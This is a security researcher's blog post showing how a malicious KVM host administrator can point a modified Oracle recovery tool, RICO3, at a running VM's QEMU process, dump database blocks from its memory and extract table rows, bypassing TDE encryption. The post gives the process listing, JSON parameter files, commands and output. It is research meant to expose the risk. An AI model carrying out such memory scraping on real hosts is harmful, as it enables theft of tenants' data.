RICO3 – as a tool for thief


20.02.2025
by Kamil Stawiarski

I know I know, it’s getting boring when I constantly talk and write about an evil KVM admin, but tomorrow starts our first meetup with IBM and they are going to explain why my hacks won’t work in Power environment – I can’t wait 😀

In the meantime I realized that I never published the trick with steeling data in automated way by an evil KVM admin. So I’ll do it quickly now. It won’t be long.

Some time ago I wrote a tool that can help in automatic data recovery when you have no backup available:

After some minor modifications you can get a tool that might be used by some evil actor to scan your VM memory, discover all Oracle database blocks, dump them and extract real data automatically.

How it easy it is? Let’s check it:

As you already know from my previous research (if not check it out here: https://blog.ora-600.pl/2022/10/02/how-to-change-root-password-of-running-vm/) the virtual machine in KVM environment is just a simple QEMU process:

[root@olvm1 rico3]# ps aux | grep qemu
qemu     1966775  297  5.2 8560436 835188 ?      Sl   20:25   1:50 /usr/libexec/qemu-kvm -name guest=oel8.2_db,debug-threads=on -S -object {"qom-type":"secret","id":"masterKey0","format":"raw","file":"/var/lib/libvirt/qemu/domain-3-oel8.2_db/master-key.aes"} -machine pc-i440fx-2.12,usb=off,dump-guest-core=off -accel kvm -cpu SandyBridge -m size=6291456k,slots=16,maxmem=25165824k -overcommit mem-lock=off -smp 4,maxcpus=64,sockets=16,dies=1,cores=4,threads=1 -object {"qom-type":"iothread","id":"iothread1"} 

So I could create a parameter file for RICO3 that looks like this:

[root@olvm1 rico3]# cat consolidate.json 
{
        "action":     "consolidate objects from memory",
        "workdir":    "/tmp/rico3",
        "data_files": ["1966775", "6442450944"]
}
[root@olvm1 rico3]# 

This parameter file is actually really simple:

  • action: "consolidate objects from memory" – scan memory of a given size inside map files of a given process id and look for oracle database blocks
  • "workdir": "/tmp/rico3″ – store results in /tmp/rico3 directory – you will find there files <DATA_OBJECT_ID>.dat containing oracle database blocks
  • data_files: ["1966775″, "6442450944″] – scan process id 1966775 with RAM size 6442450944 bytes

So let’s see what will happen if I run my tools against a running VM:

[root@olvm1 rico3]# ./target/release/rico3 -p consolidate.json 
Processing pid 1966775 for memory size 6442450944
Found map at the start offset = 140274032443392          end offset = 140280474894336

Starting worker 0
Starting worker 1
Stopping worker 0
Stopping worker 1
[root@olvm1 rico3]# ls /tmp/rico3/ | grep -c dat
390
[root@olvm1 rico3]# ls /tmp/rico3/*.dat | tail -10
/tmp/rico3/9104.dat
/tmp/rico3/9106.dat
/tmp/rico3/9121.dat
/tmp/rico3/9123.dat
/tmp/rico3/9129.dat
/tmp/rico3/9131.dat
/tmp/rico3/94.dat
/tmp/rico3/95.dat
/tmp/rico3/96.dat
/tmp/rico3/97767.dat

RICO3 found 390 unique objects and managed to consolidate some database blocks into .dat files. Those numbers are data_object_id so in theory I don’t have table names in here… But I know that OBJ$ which stores a map between ID and name has always DATA_OBJECT_ID=18 🙂

[root@olvm1 rico3]# du -sh /tmp/rico3/18.dat 
8.0M    /tmp/rico3/18.dat

Since I have a dump of that table, I can analyze it aromatically with RICO3 by creating next parameter file:

[root@olvm1 rico3]# cat extract_obj.json 
{
        "action":     "extract data from file",
        "workdir":    "/tmp/rico3",
        "data_files": ["18.dat"]
}

Now it will analyze the 18.dat file, discover automatically data types and write results into /tmp/rico3/18.csv

[root@olvm1 rico3]# ./target/release/rico3 -p extract_obj.json
Processing file 18.dat 
Starting worker 0
Starting worker 1
Stopping worker 0
Stopping worker 1
[root@olvm1 rico3]# grep EMPLOYEES /tmp/rico3/18.csv
|75695.000000|NULL|111.0000|EMPLOYEES_SEQ|1.00|NULL|6.00|2024-11-20 11:10:38|2024-11-20 11:10:38|2024-11-20 11:10:38|1.00|NULL|NULL|0|NULL|6.00|65535.000000|111.0000|NULL|NULL|NULL|NULL|0|0|0
|75728.000000|75728.000000|111.0000|EMPLOYEES|1.00|NULL|2.00|2024-11-20 11:11:06|2024-11-20 11:11:10|2024-11-20 11:11:06|1.00|NULL|NULL|0|NULL|6.00|2.00|111.0000|NULL|NULL|NULL|NONE|0|0|0|16382.000000
|75752.000000|NULL|111.0000|SECURE_EMPLOYEES|3.00|NULL|12.00|2024-11-20 11:11:10|2024-11-20 11:11:10|2024-11-20 11:11:10|1.00|NULL|NULL|0|NULL|6.00|65535.000000|111.0000|NULL|NULL|NULL|NONE|0|0|0|16382.000000
|75752.000000|NULL|111.0000|SECURE_EMPLOYEES|3.00|NULL|12.00|2024-11-20 11:11:10|2024-11-20 11:11:10|2024-11-20 11:11:10|1.00|NULL|NULL|0|NULL|6.00|65535.000000|111.0000|NULL|NULL|NULL|NONE|0|0|0|16382.000000

Awesome! So if I’m lucky I can steel some employees data – for example from object id: 72728:

[root@olvm1 rico3]# cat extract.json 
{
        "action":     "extract data from file",
        "workdir":    "/tmp/rico3",
        "data_files": ["75728.dat"]
}
[root@olvm1 rico3]# ./target/release/rico3 -p extract.json 
Processing file 75728.dat 
Starting worker 1
Starting worker 0
Stopping worker 0
Stopping worker 1
[root@olvm1 rico3]# head -10 /tmp/rico3/75728.csv 
|198.0000|Donald|OConnell|DOCONNEL|650.507.9833|2007-06-21 00:00:00|SH_CLERK|2600.00|NULL|124.0000|50.00
|199.0000|Douglas|Grant|DGRANT|650.507.9844|2008-01-13 00:00:00|SH_CLERK|2600.00|NULL|124.0000|50.00
|200.00|Jennifer|Whalen|JWHALEN|515.123.4444|2003-09-17 00:00:00|AD_ASST|4400.00|NULL|101.0000|10.00
|201.0000|Michael|Hartstein|MHARTSTE|515.123.5555|2004-02-17 00:00:00|MK_MAN|13000.0000|NULL|100.00|20.00
|202.0000|Pat|Fay|PFAY|603.123.6666|2005-08-17 00:00:00|MK_REP|6000.00|NULL|201.0000|20.00
|203.0000|Susan|Mavris|SMAVRIS|515.123.7777|2002-06-07 00:00:00|HR_REP|6500.00|NULL|101.0000|40.00
|204.0000|Hermann|Baer|HBAER|515.123.8888|2002-06-07 00:00:00|PR_REP|10000.00|NULL|101.0000|70.00
|205.0000|Shelley|Higgins|SHIGGINS|515.123.8080|2002-06-07 00:00:00|AC_MGR|12008.000000|NULL|101.0000|110.0000
|206.0000|William|Gietz|WGIETZ|515.123.8181|2002-06-07 00:00:00|AC_ACCOUNT|8300.00|NULL|205.0000|110.0000
|100.00|Steven|King|SKING|515.123.4567|2003-06-17 00:00:00|AD_PRES|24000.0000|NULL|NULL|90.00

Beautifull! And remember that we don’t care about TDE, since all data in memory is not encrypted 😉

OK. So that’s it. Now it’s finally written and tomorrow IBM will show us why we can’t attack them like that.

See you on meetup!


Contact us

Database Whisperers sp. z o. o. sp. k.
al. Jerozolimskie 200, 3rd floor, room 342
02-486 Warszawa
NIP: 5272744987
REGON:362524978
+48 508 943 051
+48 661 966 009
info@ora-600.pl

Newsletter Sign up to be updated